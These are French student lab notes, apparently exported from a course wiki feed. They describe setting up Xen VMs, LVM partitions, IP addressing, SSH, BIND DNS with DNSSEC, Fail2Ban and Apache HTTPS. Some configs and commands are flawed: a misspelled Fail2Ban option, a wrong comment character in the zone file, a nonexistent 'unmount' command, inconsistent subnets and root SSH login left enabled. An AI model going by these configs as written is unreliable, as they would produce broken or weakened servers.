=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search wahran.online&lt;br /&gt;
nameserver 192.168.0.2&lt;br /&gt;
nameserver 192.168.0.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour wahran.online et une zone secondaire pour alloco.online.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier wahran.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 100&lt;br /&gt;
&lt;br /&gt;
@	IN	SOA	ns.wahran.online.	postmaster.wahran.online. (&lt;br /&gt;
	3600	; Version&lt;br /&gt;
	21600	; Refresh secondary	(6h)&lt;br /&gt;
	3600	; Retry secondary	(1h)&lt;br /&gt;
	2592000	; Expire if no refresh	(30 jours)&lt;br /&gt;
	86400	; Negative cache	(24h)&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
; Enregistrements des serveurs de noms&lt;br /&gt;
@	IN	NS	ns.wahran.online.&lt;br /&gt;
@	IN	NS	ns2.alloco.online.&lt;br /&gt;
&lt;br /&gt;
; Enregistrements AAAA (IPv6)&lt;br /&gt;
ns	IN AAAA		2001:660:4401:60a0:216:3eff:fe32:8fa2&lt;br /&gt;
&lt;br /&gt;
: Enregistrements A (IPv4)&lt;br /&gt;
ns	IN A		193.48.57.164&lt;br /&gt;
&lt;br /&gt;
; Enregistrements CNAME&lt;br /&gt;
www	IN CNAME	wahran.online&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/wahran.online# named-checkzone wahran.zone wahran.zone &lt;br /&gt;
zone wahran.zone/IN: loaded serial 3601&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker. Comme le montre cet capture d'écran, la propagation est bien effective dans la zone de Lille avec une adresse IPv6 :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS_Lille.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# ls /etc/bind/keys&lt;br /&gt;
Kwahran.online.+013+17231.key	   Kwahran.online.+013+62188.key&lt;br /&gt;
Kwahran.online.+013+17231.private  Kwahran.online.+013+62188.private&lt;br /&gt;
Kwahran.online.+013+17231.state    Kwahran.online.+013+62188.state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de ns.wahran.online, pour l'instant le site indique une erreur : wahran.online zone: The server(s) were not responsive to queries over UDP.&lt;br /&gt;
&lt;br /&gt;
J'essaye de regler cela.&lt;br /&gt;
&lt;br /&gt;
=Fail2Ban=&lt;br /&gt;
Nous pouvons implémenter une fonctionnalité pour sécuriser notre VM : bannir une IP après plusieurs tentative de connexions ssh raté.&lt;br /&gt;
dans /etc/fail2ban/jail.local nous ajoutons ces options:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enable	= true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter	= sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après 5 tentative de ssh échouée, l'IP en question sera banni 10 minutes:&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/wahran.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/myserver.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (wahran.online) dans le répertoire `/etc/apache2/sites-available/000-wahran.online-ssl.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/sites-available/000-wahran.online-ssl.conf &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        Redirect permanent / https://ns.wahran.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        ServerAlias wahran.online&lt;br /&gt;
        DocumentRoot /var/www/wahran.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/wahran.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/myserver.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lorsque l'on se rend sur h, nous somme redirigé vers .&lt;br /&gt;
&lt;br /&gt;
==Configuration DNS avec DNSSEC==&lt;br /&gt;
Pour la gestion des DNS de mon domaine, j'ai configuré le fichier `/etc/bind/named.conf.local` pour ajouter la zone DNS de `wahran.online` avec une politique DNSSEC, ce qui renforce la sécurité de la gestion de mes enregistrements DNS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/bind/named.conf.local&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02; //IPv6 Proxy&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
masters &amp;quot;hiddensecondaries&amp;quot;{&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;alloco.online&amp;quot;{&lt;br /&gt;
	type slave;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/alloco.online&amp;quot;;&lt;br /&gt;
	masters{2001:660:4401:60a0:216:3eff:fe81:abfe;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12100</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12100"/>
		<updated>2026-02-07T17:10:56Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* IP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
